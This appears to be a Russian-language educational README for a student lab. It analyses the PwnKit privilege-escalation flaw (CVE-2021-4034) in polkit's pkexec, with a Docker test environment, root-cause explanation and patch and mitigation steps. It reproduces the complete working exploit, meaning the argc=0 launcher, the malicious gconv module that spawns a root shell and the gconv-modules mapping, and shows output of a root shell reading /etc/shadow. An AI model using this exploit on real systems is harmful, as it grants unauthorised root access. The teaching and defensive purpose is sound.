
Образовательный PoC и анализ локальной уязвимости повышения привилегий CVE-2021-4034 (PwnKit) в polkit's pkexec, с лабораторией на основе Docker для практического освоения эксплуатации и защиты.
🔗 Оригинальный проект: berdav/CVE-2021-4034
Этот проект основан на оригинале и является версией, проанализированной и модифицированной в образовательных целях.
Лицензия MIT | Учебное задание White Hat School
CVE-2021-4034 — это уязвимость локального повышения привилегий в Linux policykit-1 (PolicyKit). Обычный пользователь может запустить pkexec без аргументов, используя изъяны в структуре памяти процесса, и заставить glib повторно сослаться на строки переменных окружения, которые изначально должны были быть отфильтрованы, что приводит к загрузке вредоносного .so файла и получению root-прав.
⚠️ Только для образовательных целей: этот код следует использовать только в модифицированных системах.
Использование для атак на реальные системы может повлечь юридическую ответственность.
| Пункт | Содержание |
|---|---|
| CVE ID | CVE-2021-4034 |
| Название уязвимости | PwnKit |
| Затронутые версии | polkit 0.105 и более ранние версии без соответствующего патча (тестовая среда: policykit-1 0.105-26ubuntu1 на Ubuntu 20.04) |
| Тип уязвимости | Локальное повышение привилегий (LPE) |
| Серьёзность | Критическая (CVSS 7.8) |
| Патч версии | policykit-1 >= 0.105-26ubuntu1.1 |
| Дата обнаружения | Июнь 2021 г. (публичное раскрытие — январь 2022 г.) |
Легко ошибиться, думая, что это проблема только Ubuntu. На самом деле это дефект логики самого pkexec, поэтому большинство дистрибутивов, использующих polkit, подвержены этой уязвимости. В таблице выше указана версия Ubuntu 20.04, так как тестовая среда Docker была именно на ней.
При первом анализе могло показаться, что проблема в отсутствии проверки переменных окружения. Однако при совместном изучении исходного кода и коммита с патчем выясняется, что порядок несколько иной. Настоящая причина кроется в другом, а проблема с переменными окружения — это скорее следствие этой причины. Ниже приведён поток событий в порядке причинно-следственных связей.
pkexec — это SUID-root программа для запроса повышения привилегий через PolicyKit.
# Пример: выполнение команды с root-правами
pkexec /bin/id
pkexec systemctl restart service
Используется обычными пользователями для выполнения определённых задач с правами администратора.
В функции main() программы pkexec при обработке аргументов командной строки отсутствует проверка случая, когда программа запущена без аргументов (argc == 0). Это и есть истинная отправная точка данной уязвимости.
argv = {"pkexec", "команда", NULL} → argc >= 1execve("/usr/bin/pkexec", {NULL}, env) → argc == 0Когда argc равен 0, в списке argv остаётся только один NULL, обозначающий конец. Однако внутренняя логика pkexec в этой ситуации пытается читать и писать в несуществующий argv[1]. Проблема в том, что Linux при запуске процесса размещает массивы argv и envp (переменные окружения) вплотную друг к другу в памяти. Поэтому argv[1], выходящий за границы массива, на самом деле указывает на envp[0], то есть на первую переменную окружения.
Нормальная ситуация: argv = [ "pkexec" | NULL ]
Атакуемая ситуация: argv = [ NULL ] ← argc = 0
↑
Обращение к несуществующему argv[1]
↓
Чтение и запись envp[0], расположенного в памяти сразу следом (выход за границы)
Почему это опасно:
GCONV_PATH, LD_PRELOAD, считая их небезопасными.argc < 1. (CWE-125 — чтение за пределами, CWE-787 — запись за пределами)📌 Резюме: "Отсутствие проверки переменных окружения" — это условие, при котором атака возможна, а настоящая первопричина (root cause) — в том, что pkexec не обрабатывает случай argc == 0. Пункт 3 ниже — это следствие этой причины.
Благодаря OOB-поведению, описанному в пункте 2, в процессе инициализации glib программа pkexec повторно использует эти строки без проверки.
// CVE-2021-4034_exploit.c
char * const env[] = {
"GCONV_PATH=.", // изначально должно было быть отфильтровано ld.so
"CHARSET=PWNKIT", // несуществующая кодировка
};
execve("/usr/bin/pkexec", args, env); // argv пуст, создаём argc=0
Проблема:
Здесь важно отметить, что glib сам по себе не делает ничего неправильного. Если GCONV_PATH установлен, поиск конвертера по этому пути — это нормальное поведение glib. Проблема в том, что pkexec уже нарушил состояние безопасного выполнения (когда опасные переменные окружения удалены) — glib просто выполняет свою обычную работу, которая и эксплуатируется.
Проверка переменной окружения CHARSET
CHARSET=PWNKIT
Поиск определения конвертера в файле gconv-modules
module UTF-8// PWNKIT// pwnkit 1
Загрузка .so файла из GCONV_PATH
GCONV_PATH=. → поиск pwnkit.so в текущем каталоге
Автоматический запуск функции инициализации .so файла
// pwnkit.c - автоматически выполняется при загрузке .so файла
void gconv_init(void *step)
{
setuid(0); // получение root-прав
setgid(0);
execve("/bin/sh"); // запуск root shell!
}
Функцию gconv_init легко назвать "конструктором", но строго говоря, она отличается от C __attribute__((constructor)). Точнее, это функция инициализации, определённая в интерфейсе модуля gconv, которая явно вызывается glib после загрузки .so через dlopen.
┌─────────────────────────────────────┐
│ Обычный пользователь (uid=1000) │
└─────────────────────────────────────┘
│
│ 1. Запуск pkexec с пустым argv (argc=0)
│ + установка вредоносных переменных окружения
│ GCONV_PATH=. / CHARSET=PWNKIT
↓
┌─────────────────────────────────────┐
│ Запуск pkexec │
│ Отсутствие проверки argc → OOB → повторное использование строк │
└─────────────────────────────────────┘
│
│ 2. glib обрабатывает как обычно
│ Поиск кодировки CHARSET=PWNKIT
│ Поиск конвертера в GCONV_PATH=.
↓
┌─────────────────────────────────────┐
│ Загрузка pwnkit.so │
│ (вредоносный .so файл из текущего каталога) │
└─────────────────────────────────────┘
│
│ 3. Автоматический запуск функции инициализации gconv (с root-правами!)
↓
┌─────────────────────────────────────┐
│ Получение root shell ✅ │
│ uid=0(root) gid=0(root) │
└─────────────────────────────────────┘
# 1. Получить проект
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034
# 2. Проверить последнюю версию
git pull origin main
# 3. Сборка (без кеша)
docker compose build --no-cache
# 4. Запуск
docker compose up
docker system prune -a --volumes --force рекомендуется использовать только когда кеш или тома мешают и приведённый выше способ не работает. Это довольно агрессивная команда, которая очищает весь кеш Docker в системе, что может затронуть кеш других проектов. Соответствующая информация приведена в разделе "Возникшие проблемы и способы их решения" ниже.
pwnkit | Текущие права (до атаки): uid=1000(WHS4_student)
pwnkit | # id
pwnkit | uid=0(root) gid=0(root) groups=0(root) ← успех! ✅

WHS4_CVE-2021-4034/
├── docker-compose.yml # Настройки Docker Compose
├── Dockerfile # Уязвимая среда Ubuntu 20.04
├── start.sh # Инициализация контейнера и автоматический запуск
├── Makefile # Настройки сборки
├── CVE-2021-4034_exploit.c # Код эксплойта (вызов pkexec)
├── pwnkit.c # Вредоносный .so файл (повышение привилегий)
├── gconv-modules # Отображение конвертеров glib
├── README.md # Этот файл
└── LICENSE # Лицензия MIT
#include <unistd.h>
int main(int argc, char *argv[])
{
// Не указываем программу для выполнения через pkexec
// (в args только NULL) → это создаёт argc=0
char * const args[] = {
NULL
};
// 🔴 Непроверенные вредоносные переменные окружения
// Благодаря OOB из-за argc=0 они снова становятся доступными и передаются pkexec
char * const env[] = {
"GCONV_PATH=.", // путь к конвертеру (текущий каталог)
"CHARSET=PWNKIT", // несуществующая кодировка
"SHELL=/bin/sh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// Запуск pkexec (без аргументов → триггер argc=0)
execve("/usr/bin/pkexec", args, env);
return 0;
}
Суть:
args не содержит даже имени самой программы pkexec, что приводит к argc = 0 → триггер первопричины (отсутствие проверки argc)GCONV_PATH=. : после того как OOB снова делает строку доступной, glib ищет конвертер по этому путиCHARSET=PWNKIT : заставляет glib искать конвертер для этой кодировки#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// Функция для того, чтобы .so файл был распознан как конвертер (нужна формально)
void gconv()
{
}
// 🎯 Суть CVE-2021-4034
// Функция инициализации, которую glib явно вызывает после dlopen при загрузке .so файла
// Эта функция выполняется с root-правами! ← ключевая уязвимость!
void gconv_init(void *step)
{
char * const args[] = {
"/bin/sh", // запуск root shell
NULL
};
char * const env[] = {
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
NULL
};
// Явная установка root-прав (хотя они уже root)
setuid(0);
setgid(0);
// Запуск root shell ← повышение привилегий успешно!
execve(args[0], args, env);
exit(0);
}
Суть:
gconv_init() — это не атрибут конструктора C, а функция инициализации, которая вызывается glib напрямую после dlopen в соответствии со спецификацией интерфейса модуля gconvsetuid(0) и запуска shell вы получаете root shell$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Данный снимок был сделан при первом успешном запуске эксплойта, на нём показаны права пользователя.
$ ./CVE-2021-4034_exploit
Примечание: для самого эксплойта sudo не требуется. Поскольку pkexec — это SUID-root бинарник, получение root shell с правами обычного пользователя является сутью этой уязвимости. Использование
sudo -Eв тестовой среде Docker было сделано для удобства проверки настройки NOPASSWD и не связано с уязвимостью.
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (содержимое, видимое только root)

Выше показано, что после атаки были получены root-права.
Если вы хотите увидеть более полную картину до и после атаки, рекомендуется посмотреть скриншот в разделе ### Права до атаки (скриншот) выше.
✅ Повышение привилегий успешно!
Успешно воспроизведено в среде Docker на базе Ubuntu 20.04 (policykit-1 0.105-26ubuntu1). Поскольку количество повторных тестов пока невелико, планируется провести ещё несколько запусков с разными версиями ядра и дистрибутива и дополнить результаты.
# 1. Обновление пакета (рекомендуется)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1
# Проверка версии
dpkg -l | grep policykit-1
# Должна быть версия 0.105-26ubuntu1.1 или выше
# Редактирование /etc/sudoers (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET
Патч является основным решением, а два вышеуказанных метода — это временные меры до применения патча. Поскольку для исправления проверки argc требуется изменение кода pkexec, блокировка только переменных окружения не обеспечивает полной защиты.
docker-compose не найденаПричина: В Ubuntu 24.04 нет docker-compose (v1), есть только docker compose (v2)
Решение:
# Использовать команду docker compose (v2)
docker compose up
Причина: Настройка NOPASSWD в Dockerfile не применилась должным образом (проблема с кешем Docker)
Решение:
docker compose build --no-cache
docker compose up
Если всё ещё не работает, полностью очистите кеш и повторите попытку.
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache
Причина: Локальные файлы остались от старой версии
Решение:
# Получить последнюю версию с GitHub
git pull origin main
# Проверить файлы
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"
# Пересобрать
docker compose up --build --no-cache
Причина: Остался предыдущий контейнер
Решение:
# Удалить контейнер
docker compose down
docker rm pwnkit -f
# Запустить снова
docker compose up
Причина: Права на файлы, созданные Docker, принадлежат root
Решение:
# В среде WSL/Linux
sudo rm -rf WHS4_CVE-2021-4034
Автор: krleejihyeong
Созданные/модифицированные части:
Этот проект распространяется под лицензией MIT.
Copyright (c) 2026 krleejihyeong (модификация и анализ)
Copyright (c) 2021 berdav (оригинальный PoC)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
Подробности смотрите в файле LICENSE.
Этот проект предназначен исключительно для образовательных целей.
Несанкционированный доступ к компьютерным системам может преследоваться по закону.
Последнее обновление: июль 2026 года